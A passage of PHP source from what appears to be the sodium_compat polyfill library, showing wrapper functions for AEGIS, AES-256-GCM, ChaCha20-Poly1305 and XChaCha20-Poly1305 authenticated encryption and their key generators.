        #[\SensitiveParameter]
        $left,
        #[\SensitiveParameter]
        $right
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback('compare')) {
            return (int) call_user_func('\\Sodium\\compare', $left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AEGIS-128L
     *
     * @param string $ciphertext Encrypted message (with MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 32 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aegis128l_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }
        $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext);
        if ($ct_length < self::CRYPTO_AEAD_AEGIS128L_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS128L_ABYTES long');
        }

        $ct = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES
        );
        $tag = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES,
            self::CRYPTO_AEAD_AEGIS128L_ABYTES
        );
        return ParagonIE_Sodium_Core_AEGIS128L::decrypt($ct, $tag, $assocData, $key, $nonce);
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AEGIS-128L
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 32 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with 32-byte authentication tag appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aegis128l_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS128L_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long');
        }

        list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS128L::encrypt($plaintext, $assocData, $key, $nonce);
        return $ct . $tag;
    }

    /**
     * Return a secure random key for use with the AEGIS-128L
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aegis128l_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AEGIS128L_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AEGIS-256
     *
     * @param string $ciphertext Encrypted message (with MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 32 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aegis256_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long');
        }
        $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext);
        if ($ct_length < self::CRYPTO_AEAD_AEGIS256_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AEGIS256_ABYTES long');
        }

        $ct = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES
        );
        $tag = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES,
            self::CRYPTO_AEAD_AEGIS256_ABYTES
        );
        return ParagonIE_Sodium_Core_AEGIS256::decrypt($ct, $tag, $assocData, $key, $nonce);
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AEGIS-256
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 32 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with 32-byte authentication tag appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aegis256_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long');
        }

        list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS256::encrypt($plaintext, $assocData, $key, $nonce);
        return $ct . $tag;
    }

    /**
     * Return a secure random key for use with the AEGIS-256
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aegis256_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AEGIS256_KEYBYTES);
    }

    /**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if (self::use_fallback('crypto_aead_aes256gcm_is_available')) {
            return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
        }
        if (PHP_VERSION_ID < 70100) {
            // OpenSSL doesn't support AEAD before 7.1.0
            return false;
        }
        if (!extension_loaded('openssl')) {
            return false;
        }
        if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) {
            // OpenSSL isn't installed
            return false;
        }
        return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods());
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long');
        }
        if (!extension_loaded('openssl')) {
            throw new SodiumException('The OpenSSL extension is not installed');
        }
        if (!is_callable('openssl_decrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available');
        }

        /** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }

        if (!extension_loaded('openssl')) {
            throw new SodiumException('The OpenSSL extension is not installed');
        }
        if (!is_callable('openssl_encrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available');
        }

        $authTag = '';
        $ciphertext = openssl_encrypt(
            $plaintext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

    /**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES long');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }

        if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string|bool         The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        #[\SensitiveParameter]
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        #[\SensitiveParameter]
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

    /**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

    /**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
